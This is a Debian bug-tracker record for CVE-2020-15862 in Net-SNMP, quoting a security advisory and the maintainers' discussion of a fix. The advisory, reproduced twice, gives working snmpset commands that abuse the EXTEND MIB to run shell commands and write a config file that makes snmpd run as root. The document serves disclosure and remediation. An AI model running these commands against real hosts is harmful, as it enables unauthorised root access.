Security
Headlines
HeadlinesLatestCVEs

Headline

CVE-2020-15862: #965166 - snmpd privilege escalation

Net-SNMP through 5.7.3 has Improper Privilege Management because SNMP WRITE access to the EXTEND MIB provides the ability to run arbitrary commands as root.

CVE
#vulnerability#mac#ubuntu#debian#js#git#perl#amd

Debian Bug report logs - #965166
snmpd privilege escalation

Reported by: Bart Van Assche [email protected]

Date: Fri, 17 Jul 2020 04:15:02 UTC

Severity: critical

Tags: security

Found in versions net-snmp/5.7.3+dfsg-1.7+deb9u1, net-snmp/5.7.3+dfsg-1

Fixed in versions net-snmp/5.8+dfsg-4, net-snmp/5.7.3+dfsg-5+deb10u1

Done: Craig Small [email protected]

Bug is archived. No further changes may be made.

Toggle useless messages

Report forwarded to [email protected], Net-SNMP Packaging Team [email protected]:
Bug#965166; Package snmpd. (Fri, 17 Jul 2020 04:15:04 GMT) (full text, mbox, link).

Acknowledgement sent to Bart Van Assche [email protected]:
New Bug report received and forwarded. Copy sent to Net-SNMP Packaging Team [email protected]. (Fri, 17 Jul 2020 04:15:04 GMT) (full text, mbox, link).

Message #5 received at [email protected] (full text, mbox, reply):

Package: snmpd Version: 5.7.3

The report below comes from USD AG (https://www.usd.de). I am forwarding this report to the Debian organization because I think the root cause is not in the upstream Net-SNMP project but instead in how the Debian project packaged the Net-SNMP software. I see two possible approaches to fix this next to the solutions already mentioned in the report below:

  • Disable the EXTEND MIB. This will be considered as a regression by the users of this MIB.
  • Do not allow the Debian-snmp user to modify the snmpd configuration.

Advisory: Elevation of Privileges in Net-SNMP

Description

On Debian based systems, the *NET-SNMP* daemon runs as a low privileged user account. However, this protection can be bypassed and it is possible for this account to elevate permissions to the root user.

Details

Advisory ID: usd20200059 OTRS ID: Ticket#2020070701000015 Product: NET-SNMP Affected Version: 5.7.3 (probably earlier versions are also affected) Vulnerability Type: Elevation of Privileges Security Risk: High Vendor URL: http://www.net-snmp.org/ Vendor Status: Not fixed Advisory Status: Open CVE number: Not requested yet CVE Link: Not requested yet First Published: YYYY-MM-DD Last Update: 2020-07-09

Introduction

The Simple Network Management Protocol (SNMP) is a widely used network protocol for controlling and monitoring network devices. Since the corresponding service (SNMP daemon) needs access to a lot of system components and (per default) binds the network port 161, it usually runs as the root user.

On Debian based systems, the default installation of SNMP sets up a dedicated low privileged user account (*Debian-snmp*), that is used to run the SNMP daemon. This adds an additional layer of security, as a compromise of the SNMP service does not directly allow root access to the targeted device.

Proof of Concept

After installing the SNMP daemon on a Debian based system (e.g. ``apt install snmpd``), a new user account(*Debian-snmp*) is created by the installer:

``` root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin […SNIP…] Debian-snmp:x:122:127::/var/lib/snmp:/bin/false ```

The configuration of the snmpd daemon (systemd) shows, that this is the user account that runs the service:

``` ubuntu@ubuntu:~$ cat /lib/systemd/system/snmpd.service [Unit] Description=Simple Network Management Protocol (SNMP) Daemon. After=network.target ConditionPathExists=/etc/snmp/snmpd.conf

[Service] Environment="MIBSDIR=/usr/share/snmp/mibs:/usr/share/snmp/mibs/iana:/usr/share/snmp/mibs/ietf:/usr/share/mibs/site:/usr/share/snmp/mibs:/usr/share/mibs/iana:/usr/share/mibs/ietf:/usr/share/mibs/netsnmp" Environment="MIBS=" Type=simple ExecStartPre=/bin/mkdir -p /var/run/agentx ExecStart=/usr/sbin/snmpd -Lsd -Lf /dev/null -u Debian-snmp -g Debian-snmp -I -smux,mteTrigger,mteTriggerConf -f ExecReload=/bin/kill -HUP $MAINPID

[Install] WantedBy=multi-user.target ```

In the following it is assumed that an attacker has *read-write* access to the SNMP service and is able to use the *NET-SNMP-EXTEND-MIB* extension. The following snipped shows how an attacker can abuse the *read-write* access to execute the operating system command ``id`` on the remote SNMP server:

``` ubuntu@ubuntu:~$ cat setup.sh snmpset -m +NET-SNMP-EXTEND-MIB -v 2c -c secret localhost \ ‘nsExtendStatus."example"’ = createAndGo \ ‘nsExtendCommand."example"’ = /bin/bash \ ‘nsExtendArgs."example"’ = '-c id’ ubuntu@ubuntu:~$ bash setup.sh NET-SNMP-EXTEND-MIB::nsExtendStatus."example" = INTEGER: createAndGo(4) NET-SNMP-EXTEND-MIB::nsExtendCommand."example" = STRING: /bin/bash NET-SNMP-EXTEND-MIB::nsExtendArgs."example" = STRING: -c id ubuntu@ubuntu:~$ snmpwalk -v2c -c secret localhost NET-SNMP-EXTEND-MIB::nsExtendObjects | grep example NET-SNMP-EXTEND-MIB::nsExtendCommand."example" = STRING: /bin/bash NET-SNMP-EXTEND-MIB::nsExtendArgs."example" = STRING: -c id NET-SNMP-EXTEND-MIB::nsExtendInput."example" = STRING: NET-SNMP-EXTEND-MIB::nsExtendCacheTime."example" = INTEGER: 5 NET-SNMP-EXTEND-MIB::nsExtendExecType."example" = INTEGER: exec(1) NET-SNMP-EXTEND-MIB::nsExtendRunType."example" = INTEGER: run-on-read(1) NET-SNMP-EXTEND-MIB::nsExtendStorage."example" = INTEGER: volatile(2) NET-SNMP-EXTEND-MIB::nsExtendStatus."example" = INTEGER: active(1) NET-SNMP-EXTEND-MIB::nsExtendOutput1Line."example" = STRING: uid=122(Debian-snmp) gid=127(Debian-snmp) groups=127(Debian-snmp) NET-SNMP-EXTEND-MIB::nsExtendOutputFull."example" = STRING: uid=122(Debian-snmp) gid=127(Debian-snmp) groups=127(Debian-snmp) NET-SNMP-EXTEND-MIB::nsExtendOutNumLines."example" = INTEGER: 1 NET-SNMP-EXTEND-MIB::nsExtendResult."example" = INTEGER: 0 NET-SNMP-EXTEND-MIB::nsExtendOutLine."example".1 = STRING: uid=122(Debian-snmp) gid=127(Debian-snmp) groups=127(Debian-snmp) ```

As one can see, the command is executed as the *Debian-snmp* user and the attacker does not gain root access directly. However, during startup the snmpd daemon loads configuration files from different locations of the file system. One of them is the folder ``/var/lib/snmp/``, which is the home directory of the *Debian-snmp* user. Since *Debian-snmp* has write access to the corresponding directory, it is possible for this user to write a new configuration file. The following snipped demonstrates, how an attacker can write a new configuration file by using *read-write* access to the snmp service. The newly created configuration just contains the option ``agentUser root``.

``` ubuntu@ubuntu:~$ cat priv.sh snmpset -m +NET-SNMP-EXTEND-MIB -v 2c -c secret localhost \ ‘nsExtendStatus."priv"’ = createAndGo \ ‘nsExtendCommand."priv"’ = /bin/bash \ ‘nsExtendArgs."priv"’ = '-c “echo agentUser root > /var/lib/snmp/snmpd.local.conf"’ ubuntu@ubuntu:~$ bash priv.sh NET-SNMP-EXTEND-MIB::nsExtendStatus."priv” = INTEGER: createAndGo(4) NET-SNMP-EXTEND-MIB::nsExtendCommand."priv" = STRING: /bin/bash NET-SNMP-EXTEND-MIB::nsExtendArgs."priv" = STRING: -c \"echo agentUser root > /var/lib/snmp/snmpd.local.conf\" ubuntu@ubuntu:~$ snmpwalk -v2c -c secret localhost NET-SNMP-EXTEND-MIB::nsExtendObjects | grep priv NET-SNMP-EXTEND-MIB::nsExtendCommand."priv" = STRING: /bin/bash NET-SNMP-EXTEND-MIB::nsExtendArgs."priv" = STRING: -c \"echo agentUser root > /var/lib/snmp/snmpd.local.conf\" NET-SNMP-EXTEND-MIB::nsExtendInput."priv" = STRING: NET-SNMP-EXTEND-MIB::nsExtendCacheTime."priv" = INTEGER: 5 NET-SNMP-EXTEND-MIB::nsExtendExecType."priv" = INTEGER: exec(1) NET-SNMP-EXTEND-MIB::nsExtendRunType."priv" = INTEGER: run-on-read(1) NET-SNMP-EXTEND-MIB::nsExtendStorage."priv" = INTEGER: volatile(2) NET-SNMP-EXTEND-MIB::nsExtendStatus."priv" = INTEGER: active(1) NET-SNMP-EXTEND-MIB::nsExtendOutput1Line."priv" = STRING: NET-SNMP-EXTEND-MIB::nsExtendOutputFull."priv" = STRING: NET-SNMP-EXTEND-MIB::nsExtendOutNumLines."priv" = INTEGER: 1 NET-SNMP-EXTEND-MIB::nsExtendResult."priv" = INTEGER: 0 NET-SNMP-EXTEND-MIB::nsExtendOutLine."priv".1 = STRING ```

After the snmpd daemon was restarted, it no longer runs as the low privileged user account, but instead as the root user:

``` ubuntu@ubuntu:~$ cat setup.sh snmpset -m +NET-SNMP-EXTEND-MIB -v 2c -c secret localhost \ ‘nsExtendStatus."example"’ = createAndGo \ ‘nsExtendCommand."example"’ = /bin/bash \ ‘nsExtendArgs."example"’ = '-c id’ ubuntu@ubuntu:~$ bash setup.sh NET-SNMP-EXTEND-MIB::nsExtendStatus."example" = INTEGER: createAndGo(4) NET-SNMP-EXTEND-MIB::nsExtendCommand."example" = STRING: /bin/bash NET-SNMP-EXTEND-MIB::nsExtendArgs."example" = STRING: -c id ubuntu@ubuntu:~$ snmpwalk -v2c -c secret localhost NET-SNMP-EXTEND-MIB::nsExtendObjects | grep example NET-SNMP-EXTEND-MIB::nsExtendCommand."example" = STRING: /bin/bash NET-SNMP-EXTEND-MIB::nsExtendArgs."example" = STRING: -c id NET-SNMP-EXTEND-MIB::nsExtendInput."example" = STRING: NET-SNMP-EXTEND-MIB::nsExtendCacheTime."example" = INTEGER: 5 NET-SNMP-EXTEND-MIB::nsExtendExecType."example" = INTEGER: exec(1) NET-SNMP-EXTEND-MIB::nsExtendRunType."example" = INTEGER: run-on-read(1) NET-SNMP-EXTEND-MIB::nsExtendStorage."example" = INTEGER: volatile(2) NET-SNMP-EXTEND-MIB::nsExtendStatus."example" = INTEGER: active(1) NET-SNMP-EXTEND-MIB::nsExtendOutput1Line."example" = STRING: uid=0(root) gid=127(Debian-snmp) groups=127(Debian-snmp) NET-SNMP-EXTEND-MIB::nsExtendOutputFull."example" = STRING: uid=0(root) gid=127(Debian-snmp) groups=127(Debian-snmp) NET-SNMP-EXTEND-MIB::nsExtendOutNumLines."example" = INTEGER: 1 NET-SNMP-EXTEND-MIB::nsExtendResult."example" = INTEGER: 0 NET-SNMP-EXTEND-MIB::nsExtendOutLine."example".1 = STRING: uid=0(root) gid=127(Debian-snmp) groups=127(Debian-snmp) ```

This way, the attacker can execute commands as the root user. This bypasses the intended account seperation and allows every user with *read-write* access to the SNMP service (including the *Debian-snmp* user itself) to escalate privileges to root.

The attack described above requires a restart of the SNMP service. However, it should be noticed that this can often be enforced by the attacker. For example, the attacker can use command execution as *Debian-snmp* to kill the running snmpd instance. If the service is configured to restart automatically, this is sufficient to gain root access.

Fix

There are different possibilities to fix this issue.

1. The NET-SNMP service could ignore the configuration files inside

``/var/lib/snmp`` or restrict possible options that can be configured by these files. 2. The installer of NET-SNMP could create the configuration files inside ``/var/lib/snmp`` automatically and set these files read-only. 3. The systemd service sets the SNMP user on the command line. This option could also be favored instead of the configuration file. However, one of the previous two suggestions should be preferred.

References

http://www.net-snmp.org/

Timeline

2020-01-01 First contact request via [email protected]

Credits

This security vulnerability was found by Tobias Neitzel of usd AG.

About usd Security Advisories

In order to protect businesses against hackers and criminals, we always have to keep our skills and knowledge up to date. Thus, security research is just as important for our work as is building up a security community to promote the exchange of knowledge. After all, more security can only be achieved if many individuals take on the task.

Our CST Academy and our usd HeroLab are essential parts of our security mission. We share the knowledge we gain in our practical work and our research through training courses and publications. In this context, the usd HeroLab publishes a series of papers on new vulnerabilities and current security issues.

Always for the sake of our mission: “more security.”

https://www.usd.de

Disclaimer

The information provided in this security advisory is provided “as is” and without warranty of any kind. Details of this security advisory may be updated in order to provide as accurate information as possible.

Added tag(s) security. Request was from Craig Small [email protected] to [email protected]. (Fri, 17 Jul 2020 08:09:06 GMT) (full text, mbox, link).

Severity set to ‘critical’ from ‘normal’ Request was from Craig Small [email protected] to [email protected]. (Fri, 17 Jul 2020 08:09:07 GMT) (full text, mbox, link).

Information forwarded to [email protected], Net-SNMP Packaging Team [email protected]:
Bug#965166; Package snmpd. (Fri, 17 Jul 2020 08:15:02 GMT) (full text, mbox, link).

Acknowledgement sent to Craig Small [email protected]:
Extra info received and forwarded to list. Copy sent to Net-SNMP Packaging Team [email protected]. (Fri, 17 Jul 2020 08:15:02 GMT) (full text, mbox, link).

Message #14 received at [email protected] (full text, mbox, reply):

[Message part 1 (text/plain, inline)]

Hi Bart, Thanks for forwarding the report on. Isn’t it a generic net-snmp bug? Debian does use this feature of setting the user to not root but wouldn’t anyone using the set the user feature have the same issue?

Not sure of the best way to fix this. Maybe not being to set the user in /car files will do the trick?

Happy to work with you guys on a common fix.

  • Craig

  • Craig

On Fri, 17 Jul. 2020, 2:15 pm Bart Van Assche, [email protected] wrote:

Package: snmpd Version: 5.7.3

The report below comes from USD AG (https://www.usd.de). I am forwarding this report to the Debian organization because I think the root cause is not in the upstream Net-SNMP project but instead in how the Debian project packaged the Net-SNMP software. I see two possible approaches to fix this next to the solutions already mentioned in the report below:

  • Disable the EXTEND MIB. This will be considered as a regression by the users of this MIB.
  • Do not allow the Debian-snmp user to modify the snmpd configuration.

Advisory: Elevation of Privileges in Net-SNMP

Description

On Debian based systems, the *NET-SNMP* daemon runs as a low privileged user account. However, this protection can be bypassed and it is possible for this account to elevate permissions to the root user.

Details

Advisory ID: usd20200059 OTRS ID: Ticket#2020070701000015 Product: NET-SNMP Affected Version: 5.7.3 (probably earlier versions are also affected) Vulnerability Type: Elevation of Privileges Security Risk: High Vendor URL: http://www.net-snmp.org/ Vendor Status: Not fixed Advisory Status: Open CVE number: Not requested yet CVE Link: Not requested yet First Published: YYYY-MM-DD Last Update: 2020-07-09

Introduction

The Simple Network Management Protocol (SNMP) is a widely used network protocol for controlling and monitoring network devices. Since the corresponding service (SNMP daemon) needs access to a lot of system components and (per default) binds the network port 161, it usually runs as the root user.

On Debian based systems, the default installation of SNMP sets up a dedicated low privileged user account (*Debian-snmp*), that is used to run the SNMP daemon. This adds an additional layer of security, as a compromise of the SNMP service does not directly allow root access to the targeted device.

Proof of Concept

After installing the SNMP daemon on a Debian based system (e.g. ``apt install snmpd``), a new user account(*Debian-snmp*) is created by the installer:

``` root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin […SNIP…] Debian-snmp:x:122:127::/var/lib/snmp:/bin/false ```

The configuration of the snmpd daemon (systemd) shows, that this is the user account that runs the service:

``` ubuntu@ubuntu:~$ cat /lib/systemd/system/snmpd.service [Unit] Description=Simple Network Management Protocol (SNMP) Daemon. After=network.target ConditionPathExists=/etc/snmp/snmpd.conf

[Service]

Environment="MIBSDIR=/usr/share/snmp/mibs:/usr/share/snmp/mibs/iana:/usr/share/snmp/mibs/ietf:/usr/share/mibs/site:/usr/share/snmp/mibs:/usr/share/mibs/iana:/usr/share/mibs/ietf:/usr/share/mibs/netsnmp" Environment="MIBS=" Type=simple ExecStartPre=/bin/mkdir -p /var/run/agentx ExecStart=/usr/sbin/snmpd -Lsd -Lf /dev/null -u Debian-snmp -g Debian-snmp -I -smux,mteTrigger,mteTriggerConf -f ExecReload=/bin/kill -HUP $MAINPID

[Install] WantedBy=multi-user.target ```

In the following it is assumed that an attacker has *read-write* access to the SNMP service and is able to use the *NET-SNMP-EXTEND-MIB* extension. The following snipped shows how an attacker can abuse the *read-write* access to execute the operating system command ``id`` on the remote SNMP server:

``` ubuntu@ubuntu:~$ cat setup.sh snmpset -m +NET-SNMP-EXTEND-MIB -v 2c -c secret localhost \ ‘nsExtendStatus."example"’ = createAndGo \ ‘nsExtendCommand."example"’ = /bin/bash \ ‘nsExtendArgs."example"’ = '-c id’ ubuntu@ubuntu:~$ bash setup.sh NET-SNMP-EXTEND-MIB::nsExtendStatus."example" = INTEGER: createAndGo(4) NET-SNMP-EXTEND-MIB::nsExtendCommand."example" = STRING: /bin/bash NET-SNMP-EXTEND-MIB::nsExtendArgs."example" = STRING: -c id ubuntu@ubuntu:~$ snmpwalk -v2c -c secret localhost NET-SNMP-EXTEND-MIB::nsExtendObjects | grep example NET-SNMP-EXTEND-MIB::nsExtendCommand."example" = STRING: /bin/bash NET-SNMP-EXTEND-MIB::nsExtendArgs."example" = STRING: -c id NET-SNMP-EXTEND-MIB::nsExtendInput."example" = STRING: NET-SNMP-EXTEND-MIB::nsExtendCacheTime."example" = INTEGER: 5 NET-SNMP-EXTEND-MIB::nsExtendExecType."example" = INTEGER: exec(1) NET-SNMP-EXTEND-MIB::nsExtendRunType."example" = INTEGER: run-on-read(1) NET-SNMP-EXTEND-MIB::nsExtendStorage."example" = INTEGER: volatile(2) NET-SNMP-EXTEND-MIB::nsExtendStatus."example" = INTEGER: active(1) NET-SNMP-EXTEND-MIB::nsExtendOutput1Line."example" = STRING: uid=122(Debian-snmp) gid=127(Debian-snmp) groups=127(Debian-snmp) NET-SNMP-EXTEND-MIB::nsExtendOutputFull."example" = STRING: uid=122(Debian-snmp) gid=127(Debian-snmp) groups=127(Debian-snmp) NET-SNMP-EXTEND-MIB::nsExtendOutNumLines."example" = INTEGER: 1 NET-SNMP-EXTEND-MIB::nsExtendResult."example" = INTEGER: 0 NET-SNMP-EXTEND-MIB::nsExtendOutLine."example".1 = STRING: uid=122(Debian-snmp) gid=127(Debian-snmp) groups=127(Debian-snmp) ```

As one can see, the command is executed as the *Debian-snmp* user and the attacker does not gain root access directly. However, during startup the snmpd daemon loads configuration files from different locations of the file system. One of them is the folder ``/var/lib/snmp/``, which is the home directory of the *Debian-snmp* user. Since *Debian-snmp* has write access to the corresponding directory, it is possible for this user to write a new configuration file. The following snipped demonstrates, how an attacker can write a new configuration file by using *read-write* access to the snmp service. The newly created configuration just contains the option ``agentUser root``.

``` ubuntu@ubuntu:~$ cat priv.sh snmpset -m +NET-SNMP-EXTEND-MIB -v 2c -c secret localhost \ ‘nsExtendStatus."priv"’ = createAndGo \ ‘nsExtendCommand."priv"’ = /bin/bash \ ‘nsExtendArgs."priv"’ = '-c “echo agentUser root > /var/lib/snmp/snmpd.local.conf"’ ubuntu@ubuntu:~$ bash priv.sh NET-SNMP-EXTEND-MIB::nsExtendStatus."priv” = INTEGER: createAndGo(4) NET-SNMP-EXTEND-MIB::nsExtendCommand."priv" = STRING: /bin/bash NET-SNMP-EXTEND-MIB::nsExtendArgs."priv" = STRING: -c \"echo agentUser root > /var/lib/snmp/snmpd.local.conf\" ubuntu@ubuntu:~$ snmpwalk -v2c -c secret localhost NET-SNMP-EXTEND-MIB::nsExtendObjects | grep priv NET-SNMP-EXTEND-MIB::nsExtendCommand."priv" = STRING: /bin/bash NET-SNMP-EXTEND-MIB::nsExtendArgs."priv" = STRING: -c \"echo agentUser root > /var/lib/snmp/snmpd.local.conf\" NET-SNMP-EXTEND-MIB::nsExtendInput."priv" = STRING: NET-SNMP-EXTEND-MIB::nsExtendCacheTime."priv" = INTEGER: 5 NET-SNMP-EXTEND-MIB::nsExtendExecType."priv" = INTEGER: exec(1) NET-SNMP-EXTEND-MIB::nsExtendRunType."priv" = INTEGER: run-on-read(1) NET-SNMP-EXTEND-MIB::nsExtendStorage."priv" = INTEGER: volatile(2) NET-SNMP-EXTEND-MIB::nsExtendStatus."priv" = INTEGER: active(1) NET-SNMP-EXTEND-MIB::nsExtendOutput1Line."priv" = STRING: NET-SNMP-EXTEND-MIB::nsExtendOutputFull."priv" = STRING: NET-SNMP-EXTEND-MIB::nsExtendOutNumLines."priv" = INTEGER: 1 NET-SNMP-EXTEND-MIB::nsExtendResult."priv" = INTEGER: 0 NET-SNMP-EXTEND-MIB::nsExtendOutLine."priv".1 = STRING ```

After the snmpd daemon was restarted, it no longer runs as the low privileged user account, but instead as the root user:

``` ubuntu@ubuntu:~$ cat setup.sh snmpset -m +NET-SNMP-EXTEND-MIB -v 2c -c secret localhost \ ‘nsExtendStatus."example"’ = createAndGo \ ‘nsExtendCommand."example"’ = /bin/bash \ ‘nsExtendArgs."example"’ = '-c id’ ubuntu@ubuntu:~$ bash setup.sh NET-SNMP-EXTEND-MIB::nsExtendStatus."example" = INTEGER: createAndGo(4) NET-SNMP-EXTEND-MIB::nsExtendCommand."example" = STRING: /bin/bash NET-SNMP-EXTEND-MIB::nsExtendArgs."example" = STRING: -c id ubuntu@ubuntu:~$ snmpwalk -v2c -c secret localhost NET-SNMP-EXTEND-MIB::nsExtendObjects | grep example NET-SNMP-EXTEND-MIB::nsExtendCommand."example" = STRING: /bin/bash NET-SNMP-EXTEND-MIB::nsExtendArgs."example" = STRING: -c id NET-SNMP-EXTEND-MIB::nsExtendInput."example" = STRING: NET-SNMP-EXTEND-MIB::nsExtendCacheTime."example" = INTEGER: 5 NET-SNMP-EXTEND-MIB::nsExtendExecType."example" = INTEGER: exec(1) NET-SNMP-EXTEND-MIB::nsExtendRunType."example" = INTEGER: run-on-read(1) NET-SNMP-EXTEND-MIB::nsExtendStorage."example" = INTEGER: volatile(2) NET-SNMP-EXTEND-MIB::nsExtendStatus."example" = INTEGER: active(1) NET-SNMP-EXTEND-MIB::nsExtendOutput1Line."example" = STRING: uid=0(root) gid=127(Debian-snmp) groups=127(Debian-snmp) NET-SNMP-EXTEND-MIB::nsExtendOutputFull."example" = STRING: uid=0(root) gid=127(Debian-snmp) groups=127(Debian-snmp) NET-SNMP-EXTEND-MIB::nsExtendOutNumLines."example" = INTEGER: 1 NET-SNMP-EXTEND-MIB::nsExtendResult."example" = INTEGER: 0 NET-SNMP-EXTEND-MIB::nsExtendOutLine."example".1 = STRING: uid=0(root) gid=127(Debian-snmp) groups=127(Debian-snmp) ```

This way, the attacker can execute commands as the root user. This bypasses the intended account seperation and allows every user with *read-write* access to the SNMP service (including the *Debian-snmp* user itself) to escalate privileges to root.

The attack described above requires a restart of the SNMP service. However, it should be noticed that this can often be enforced by the attacker. For example, the attacker can use command execution as *Debian-snmp* to kill the running snmpd instance. If the service is configured to restart automatically, this is sufficient to gain root access.

Fix

There are different possibilities to fix this issue.

1. The NET-SNMP service could ignore the configuration files inside

``/var/lib/snmp`` or restrict possible options that can be configured by these files. 2. The installer of NET-SNMP could create the configuration files inside ``/var/lib/snmp`` automatically and set these files read-only. 3. The systemd service sets the SNMP user on the command line. This option could also be favored instead of the configuration file. However, one of the previous two suggestions should be preferred.

References

http://www.net-snmp.org/

Timeline

2020-01-01 First contact request via [email protected]

Credits

This security vulnerability was found by Tobias Neitzel of usd AG.

About usd Security Advisories

In order to protect businesses against hackers and criminals, we always have to keep our skills and knowledge up to date. Thus, security research is just as important for our work as is building up a security community to promote the exchange of knowledge. After all, more security can only be achieved if many individuals take on the task.

Our CST Academy and our usd HeroLab are essential parts of our security mission. We share the knowledge we gain in our practical work and our research through training courses and publications. In this context, the usd HeroLab publishes a series of papers on new vulnerabilities and current security issues.

Always for the sake of our mission: “more security.”

https://www.usd.de

Disclaimer

The information provided in this security advisory is provided “as is” and without warranty of any kind. Details of this security advisory may be updated in order to provide as accurate information as possible.

_______________________________________________ Pkg-net-snmp-devel mailing list [email protected] https://alioth-lists.debian.net/cgi-bin/mailman/listinfo/pkg-net-snmp-devel

[Message part 2 (text/html, inline)]

Information forwarded to [email protected], Net-SNMP Packaging Team [email protected]:
Bug#965166; Package snmpd. (Sat, 18 Jul 2020 02:09:02 GMT) (full text, mbox, link).

Acknowledgement sent to Bart Van Assche [email protected]:
Extra info received and forwarded to list. Copy sent to Net-SNMP Packaging Team [email protected]. (Sat, 18 Jul 2020 02:09:02 GMT) (full text, mbox, link).

Message #19 received at [email protected] (full text, mbox, reply):

Please trim quoted emails when replying.

Net-SNMP version 5.7.3, the version included in Debian, is no longer maintained upstream.

A patch has been applied to the Net-SNMP v5.8 and master branches that removes the EXTEND MIB from the list with default MIBs. See also commit c2b96ee74439 (“snmpd: Disable NET-SNMP-EXTEND-MIB support by default”). However, it’s still possible that that patch is reverted before the next version is released.

Not allowing to set agentUser in /var/lib/snmp/snmpd.conf would probably help to address the reported vulnerability. However, I doubt that this would address all vulnerabilities that could be triggered via the EXTEND MIB. Since the EXTEND MIB allows to run any shell command from a remote system it can be used for privilege escalation. Since Net-SNMP already supports other mechanisms for extending snmpd, e.g. the extend and extendfix directives in snmpd.conf, I propose to disable the EXTEND MIB.

No longer marked as found in versions 5.7.3. Request was from Salvatore Bonaccorso [email protected] to [email protected]. (Sat, 18 Jul 2020 08:57:02 GMT) (full text, mbox, link).

Marked as found in versions net-snmp/5.7.3+dfsg-1.7+deb9u1. Request was from Salvatore Bonaccorso [email protected] to [email protected]. (Sat, 18 Jul 2020 08:57:02 GMT) (full text, mbox, link).

Marked as found in versions net-snmp/5.7.3+dfsg-1. Request was from Salvatore Bonaccorso [email protected] to [email protected]. (Sat, 18 Jul 2020 08:57:03 GMT) (full text, mbox, link).

Information forwarded to [email protected], Net-SNMP Packaging Team [email protected]:
Bug#965166; Package snmpd. (Mon, 20 Jul 2020 03:27:03 GMT) (full text, mbox, link).

Acknowledgement sent to Craig Small [email protected]:
Extra info received and forwarded to list. Copy sent to Net-SNMP Packaging Team [email protected]. (Mon, 20 Jul 2020 03:27:03 GMT) (full text, mbox, link).

Message #30 received at [email protected] (full text, mbox, reply):

[Message part 1 (text/plain, inline)]

On Sat, 18 Jul 2020 at 12:04, Bart Van Assche [email protected] wrote:

Net-SNMP version 5.7.3, the version included in Debian, is no longer maintained upstream.

I just tested it on snmpd v5.8 released around July 2018 and it has this issue too.

A patch has been applied to the Net-SNMP v5.8 and master branches that

removes the EXTEND MIB from the list with default MIBs. See also commit c2b96ee74439 (“snmpd: Disable NET-SNMP-EXTEND-MIB support by default”).

Is the single line removal in that commit all it needs? From what I can see the patch for v5.8 and master branches is just importing c2b96ee74439 That will make things very easy to fix.

Since Net-SNMP already

supports other mechanisms for extending snmpd, e.g. the extend and extendfix directives in snmpd.conf, I propose to disable the EXTEND MIB.

I’m happy to see it go, for the reasons you point out.

Oddly enough, if you set the user in the configuration file and set it on the command line with the -u flag, the configuration file parameter wins.

root 41574 0.0 0.0 23592 13768 ? Ss 13:12 0:00 /usr/sbin/snmpd -LOw -u Debian-snmp -g Debian-snmp -I -smux mteTrigger mteTriggerConf -f -p /run/snmpd.pid

  • Craig

[Message part 2 (text/html, inline)]

Message sent on to Bart Van Assche [email protected]:
Bug#965166. (Mon, 20 Jul 2020 11:36:05 GMT) (full text, mbox, link).

Message #33 received at [email protected] (full text, mbox, reply):

Control: tag -1 pending

Hello,

Bug #965166 in net-snmp reported by you has been fixed in the Git repository and is awaiting an upload. You can see the commit message below and you can check the diff of the fix at:

https://salsa.debian.org/debian/net-snmp/-/commit/fad8725402752746daf0a751dcff19eb6aeab52e


snmpd: Disable extend mib Closes: #965166

(this message was generated automatically)

Greetings

https://bugs.debian.org/965166

Added tag(s) pending. Request was from Craig Small [email protected] to [email protected]. (Mon, 20 Jul 2020 11:36:05 GMT) (full text, mbox, link).

Information forwarded to [email protected], Net-SNMP Packaging Team [email protected]:
Bug#965166; Package snmpd. (Tue, 21 Jul 2020 01:57:03 GMT) (full text, mbox, link).

Acknowledgement sent to Bart Van Assche [email protected]:
Extra info received and forwarded to list. Copy sent to Net-SNMP Packaging Team [email protected]. (Tue, 21 Jul 2020 01:57:03 GMT) (full text, mbox, link).

Message #40 received at [email protected] (full text, mbox, reply):

On 2020-07-19 20:25, Craig Small wrote:

A patch has been applied to the Net-SNMP v5.8 and master branches that
removes the EXTEND MIB from the list with default MIBs. See also commit
c2b96ee74439 ("snmpd: Disable NET-SNMP-EXTEND-MIB support by default").

Is the single line removal in that commit all it needs? From what I can see the patch for v5.8 and master branches is just importing c2b96ee74439 That will make things very easy to fix.

The above matches my understanding.

Since Net-SNMP already
supports other mechanisms for extending snmpd, e.g. the extend and
extendfix directives in snmpd.conf, I propose to disable the EXTEND MIB.

I’m happy to see it go, for the reasons you point out.

Oddly enough, if you set the user in the configuration file and set it on the command line with the -u flag, the configuration file parameter wins.

root 41574 0.0 0.0 23592 13768 ? Ss 13:12 0:00 /usr/sbin/snmpd -LOw -u Debian-snmp -g Debian-snmp -I -smux mteTrigger mteTriggerConf -f -p /run/snmpd.pid

A patch is under discussion that will change this behavior such that the command line -u flag takes precedence if both the -u flag and the agentuser configuration file parameter have been set. I hope that patch will be applied a few days from now.

Bart.

Reply sent to Craig Small [email protected]:
You have taken responsibility. (Thu, 23 Jul 2020 12:09:06 GMT) (full text, mbox, link).

Notification sent to Bart Van Assche [email protected]:
Bug acknowledged by developer. (Thu, 23 Jul 2020 12:09:06 GMT) (full text, mbox, link).

Message #45 received at [email protected] (full text, mbox, reply):

Source: net-snmp Source-Version: 5.8+dfsg-4 Done: Craig Small [email protected]

We believe that the bug you reported is fixed in the latest version of net-snmp, which is due to be installed in the Debian FTP archive.

A summary of the changes between this version and the previous one is attached.

Thank you for reporting the bug, which will now be closed. If you have further comments please address them to [email protected], and the maintainer will reopen the bug report if appropriate.

Debian distribution maintenance software pp. Craig Small [email protected] (supplier of updated net-snmp package)

(This message was generated automatically at their request; if you believe that there is a problem with it please contact the archive administrators by mailing [email protected])

-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA512

Format: 1.8 Date: Thu, 23 Jul 2020 21:35:08 +1000 Source: net-snmp Architecture: source Version: 5.8+dfsg-4 Distribution: unstable Urgency: high Maintainer: Net-SNMP Packaging Team [email protected] Changed-By: Craig Small [email protected] Closes: 685877 965166 Changes: net-snmp (5.8+dfsg-4) unstable; urgency=high . [ Sergio Durigan Junior ] * Fix segmentation fault that happens when using the snmpv3 protocol with snmpbulkget. (LP #1877027) (Debian Bug #963713) This is a rework of the patches introduced in the last release, to fix CVE-2019-20892. - d/p/move-securityStateRef-into-free_securityStateRef.patch: Consolidate the check of the securityStateRef pointer into the free_securityStateRef function. - d/p/prevent-snmpv3-bulkget-errors-double-free.patch: Prevent snmpv3 bulkget errors from becoming resulting in a double free. - d/p/fix-usmStateReference-free.patch: Fix typo on usm_free_usmStateReference from last patch. - d/p/unexport-struct-usmStateReference.patch: Unexport struct usmStateReference and to prevent ABI breakages, since it will be necessary to add a reference count to it. - 